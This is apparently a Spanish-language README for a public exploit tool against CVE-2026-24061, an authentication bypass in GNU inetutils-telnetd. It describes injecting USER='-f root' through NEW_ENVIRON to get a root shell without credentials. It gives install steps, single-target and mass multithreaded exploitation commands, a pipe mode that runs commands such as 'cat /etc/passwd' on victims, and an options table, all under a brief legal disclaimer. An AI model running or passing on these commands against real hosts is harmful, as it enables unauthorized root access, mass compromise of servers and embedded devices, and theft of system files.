CVE-2026-24061

🚀 CVE-2026-24061 - Exploit de omisión de autenticación de GNU inetutils-telnetd

Edición GNU inetutils-telnetd - Inyección CRLF para omisión de autenticación y shell root instantánea

📌 Resumen

Este exploit aprovecha CVE-2026-24061, una vulnerabilidad crítica de omisión de autenticación remota en GNU inetutils-telnetd. Al inyectar una carga útil NEW_ENVIRON manipulada con USER='-f root', omite la autenticación y otorga una shell root instantánea sin necesidad de credenciales.

Nota: El script basic_exploit.sh es una versión simplificada y más rápida de exploit.sh; sin embargo, se recomienda exploit.sh para disfrutar de toda la funcionalidad.

🔥 Características principales

🎯 Versiones vulnerables

Producto	Versiones
GNU inetutils-telnetd	1.9.3 - 2.7
Distribuciones Linux afectadas	Debian, CentOS, Ubuntu y sus distribuciones. (Zorin OS, Linux Mint, Pop!_OS y Elementary OS)
Dispositivos integrados	NAS, IoT, Routers

⚠️ Aviso legal: Esta herramienta es únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado es ilegal.

📦 Instalación

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit
cd CVE-2026-24061-PoC-Exploit

# Python version
pip3 install -r requirements.txt

# Bash version
chmod +x exploit.sh
chmod +x basic_exploit.sh

🛠️ Ejemplos de uso

🎯 Explotación de un solo objetivo

# Python version
python3 exploit.py -u 192.168.1.100

# Bash version
./exploit.sh -u 192.168.1.100
./basic_exploit.sh 192.168.1.100

🔧 Puerto y usuario personalizados

# Custom port (non-standard telnet port)
python3 exploit.py -u 10.0.0.5 -p 2323

# Custom username injection
python3 exploit.py -u 10.0.0.5 -usr admin

📊 Explotación masiva (múltiples objetivos)

# Create targets file
echo "192.168.1.100" > targets.txt
echo "192.168.1.101" >> targets.txt
echo "10.0.0.5:2323" >> targets.txt

# Mass exploit with 20 threads
python3 exploit.py -l targets.txt -m 20

# Bash version
./exploit.sh -l targets.txt -m 20

📡 Modo pipe (ejecución de comandos)

# Execute commands via pipe
echo "id; whoami; uname -a" | python3 exploit.py -u 192.168.1.100

# Multiple commands
echo "ls -la; cat /etc/passwd; ps aux" | ./exploit.sh -u 192.168.1.100

⚙️ Opciones avanzadas

# Verbose mode with debug output
python3 exploit.py -u 192.168.1.100 -v

# Custom timeout and retries
python3 exploit.py -u 192.168.1.100 --timeout 10 --retries 5

# Session keep-alive (maintain shell)
python3 exploit.py -u 192.168.1.100 --keep-alive

📊 Argumentos de línea de comandos

🔗 Exploits relacionados

Consulta mis otros repositorios de exploits:

Explotación	✅ Omisión de autenticación mediante inyección CRLF ✅ Shell root instantánea ✅ Inyección de usuario personalizado (-f admin, -f user)
Escaneo	✅ Explotación de un solo objetivo ✅ Explotación masiva desde archivo ✅ Multihilo (hilos configurables) ✅ Soporte de puertos personalizados
Avanzado	✅ Modo pipe (ejecución de comandos mediante stdin) ✅ Mantenimiento de sesión activa ✅ Mecanismo de reintentos ✅ Control de tiempo de espera
Usabilidad	✅ Salida con colores (colorama) ✅ Doble lenguaje (Python y Bash) ✅ Modo verboso/depuración

`-u`	`--url`	Dirección IP del objetivo	Obligatorio
`-p`	`--port`	Puerto del objetivo	23
`-l`	`--list`	Archivo con la lista de objetivos	Ninguno
`-m`	`--max-threads`	Máximo de hilos para explotación masiva	10
`-usr`	`--username`	Usuario a inyectar	root
`-t`	`--timeout`	Tiempo de espera del socket (segundos)	10
`-r`	`--retries`	Número de reintentos	3
`-v`	`--verbose`	Habilitar salida de depuración	Falso
`--keep-alive`		Mantener la sesión activa después de la explotación	Falso

CVE-2026-24061-PoC-Exploit

Más Populares